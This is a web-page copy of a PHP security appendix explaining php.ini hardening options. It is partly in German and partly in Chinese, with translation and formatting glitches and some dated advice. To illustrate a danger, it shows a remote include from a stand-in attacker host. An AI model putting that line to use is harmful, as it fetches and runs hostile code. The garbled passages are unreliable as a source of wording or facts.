Obwohl der Schwerpunkt dieses Buches auf der Anwendungssicherheit liegt, gibt es einige Konfigurationsoptionen, mit denen jeder Entwickler, der sich Gedanken über Sicherheit macht, vertraut sein muss. Die Konfiguration von PHP wirkt sich auf das Verhalten des von Ihnen geschriebenen Codes und der von Ihnen verwendeten Techniken aus, und Sie müssen bei Bedarf ein wenig Verantwortung für Dinge außerhalb der Anwendung übernehmen.
Die Konfiguration von PHP wird hauptsächlich durch eine Datei namens php.ini festgelegt. Diese Datei enthält viele Konfigurationsoptionen, von denen jede eine ganz spezifische Auswirkung auf PHP hat. Wenn die Datei nicht existiert oder eine Option in der Datei nicht existiert, wird der Standardwert verwendet.
Wenn Sie nicht wissen, wo sich die Datei php.ini befindet, können Sie phpinfo( ), um die Definition des Dateipfads in PHP zu ermitteln:
<?php phpinfo(); ?>
Abbildung A-1 Die sechste angezeigte Zeile (Pfad der Konfigurationsdatei (php.ini)) zeigt den vollständigen Pfad zu php.ini. Wenn nur der Pfad angezeigt wird (ohne den Dateinamen), bedeutet dies, dass PHP die Datei php.ini im angezeigten Pfad nicht finden kann.
Die Datei enthält ziemlich gute Beschreibungen ihrer selbst, sodass Sie die Datei lesen und die für Sie geeigneten Konfigurationsoptionen auswählen können. Das Handbuch ist sogar noch ausführlicher. Wenn Sie also weitere Informationen zu einer bestimmten Option benötigen, empfehle ich Ihnen, http://www.php.cn/
< zu besuchen 🎜>
Abbildung A-1. Die Funktion phpinfo( ) kann verwendet werden, um die Datei php.ini zu finden
allow_url_fopen
Wie im sechsten Wie in Kapitel 1 gezeigt, können Sie mit der Option „allow_url_fopen“ auf Remote-Ressourcen verweisen, als wären sie lokale Dateien:
🎜>
<?php $contents = file_get_contents('http://example.org/xss.html'); ?>
Die Gefahren in Kombination mit include oder require werden in Kapitel 5 aufgedeckt:
<?php include 'http://evil.example.org/evil.inc'; ?>
Ich empfehle, die Option „allow_url_fopen“ zu deaktivieren, es sei denn, Ihre Anwendung erfordert dies.
A.2.disable_functions
Die Option „disable_functions“ ist sehr nützlich, um sicherzustellen, dass einige potenziell gefährliche Funktionen nicht verwendet werden können. Obwohl Spezifikationen festgelegt werden können, um die Verwendung dieser Funktionen zu verbieten, ist das Auferlegen von Einschränkungen in der PHP-Konfiguration viel zuverlässiger, als sich darauf zu verlassen, dass Entwickler die Spezifikationen befolgen.
Ich werde die in Anhang B aufgeführten Funktionen überprüfen, um festzustellen, ob es bei einigen Funktionen Einschränkungen gibt.
Anzeigefehler
Die Fehlerberichte von PHP können Ihnen dabei helfen, Fehler im von Ihnen geschriebenen Code zu finden. Wenn Sie eine Anwendung entwickeln, ist die Anzeige von Fehlermeldungen eine effektive Möglichkeit, sofortiges Feedback zu erhalten und die Entwicklung zu beschleunigen.
In einer produktionstauglichen Anwendung würde dieses Verhalten zu einem Sicherheitsrisiko werden. Wenn eine Fehlermeldung angezeigt wird, kann jeder wichtige Informationen über Ihre App erfahren.
Sie müssen die Option display_errors im Produkt deaktivieren.
A.4. enable_dl
Die Option enable_dl wird zur Steuerung des dl verwendet ()-Funktion Wenn diese Funktion aktiviert ist, können PHP-Erweiterungen zur Laufzeit geladen werden.
Die Verwendung der Funktion dl() ermöglicht es einem Angreifer möglicherweise, die Einschränkungen von open_basedir zu umgehen. Daher müssen Sie sie in Ihrer Anwendung deaktivieren, sofern dies nicht erforderlich ist.
Fehlermeldung
Viele Sicherheitslücken werden durch die Verwendung nicht initialisierter Variablen oder andere willkürliche Programmiertechniken verursacht. Indem Sie die PHP-Option error_reporting auf E_ALL oder E_ALL | setzen E_STRICT, PHP fordert zum oben genannten Verhalten auf. Diese Einstellungen dienen der Meldung von Fehlern auf Benachrichtigungsebene.
我建议把error_reporting至少设定为E_ALL。(译注:在开发中)
A.6. file_uploads
file_uploads选项决定了是否允许上传文件。因此,如果你的应用不需要用户上传文件,那么关闭该选项就是最好的选择。
只是简单地在PHP代码中不对上传文件进行处理是不够的,因为在执行你的代码前,PHP就做了一些工作(如根据相关部据生成$_FILES数组)。
A.7. log_errors
当log_errors设为有效时,PHP会向error_log配置选项指定的文件中写入所有出错信息。
当display_errors设为无效时,将log_errors设为有效是很重要的;否则你将无法看到睛出错信息。
我建议将log_errors设为有效并在error_log设定日志文件所在位置。
A.8. magic_quotes_gpc
magic_quotes_gpc是一个常用的选项,它目的是防止SQL注入。但出于很多原因,包括它转义输入的方式,证明了它是不完善的。
它对$_GET, $_POST, 以及 $_COOKIE中的数据使用同样的规则即addslashes( )函数进行处理。从而,它并没有根据你的数据库选用对应的转义函数进行处理。
基于两个主要的原因,你需要把get_magic_quotes_gpc设为无效:
首先,它会加大你的输入过滤逻辑的复杂性,这是由于它在执行你的代码前首先对数据进行了编辑。例如,你需要对输入的姓名进行过滤,其逻辑是只允许字母、空格、连词符以及单引号,当magic_quotes_gpc生效时,你必须适应形如O\'Reilly的姓名或者使用stripslashes( )尝试将它恢复原形。这一不必要的复杂性(或者说不严谨的过滤规则)加大了发生错误的可能性,同时,你的输入过滤机制中的缺陷必然会导致安全漏洞。
其次,它并没有根据你的数据库选用对应的转义函数进行处理。这样,由于它可以抵挡一些低层次或偶发的攻击,掩盖了它是一个糟糕的过滤或转义机制这个事实,从而留下了一个安全漏洞,使你的应用无法抵挡如针对字符集的攻击等更复杂的攻击手段。
A.9. memory_limit
为防止写得糟糕的脚本占用所有的可用内存,可以使用memory_limit选项对最大内存使用量进行限制(以字节方式或缩写方式如8M指定)。
尽管最佳的取值是与运行的应用是相关的,我还是建议在大多情况下使用默认值8M。
memory_limit选项只有在PHP指定了enable-memory-limit方式编译时才会生效。
A.10. open_basedir
open_basedir选项会限制PHP只能在它指定的目录中打开文件。尽管它不能取代正确的输入过滤,但该选项能减少利用文件系统相关函数如include及require进行的攻击。
该选项的值会被当做前缀使用,因此当你想表示指定目录时请小心不要漏了最后的斜杠:
open_basedir = /path/to/
小提示
请确认enable_dl选项是关闭的,否则open_basedir的限制可能会被绕过。
A.11. register_globals
见第二章
A.12. safe_mode
见第八章
以上就是PHP安全-配置选项的内容,更多相关内容请关注PHP中文网(www.php.cn)!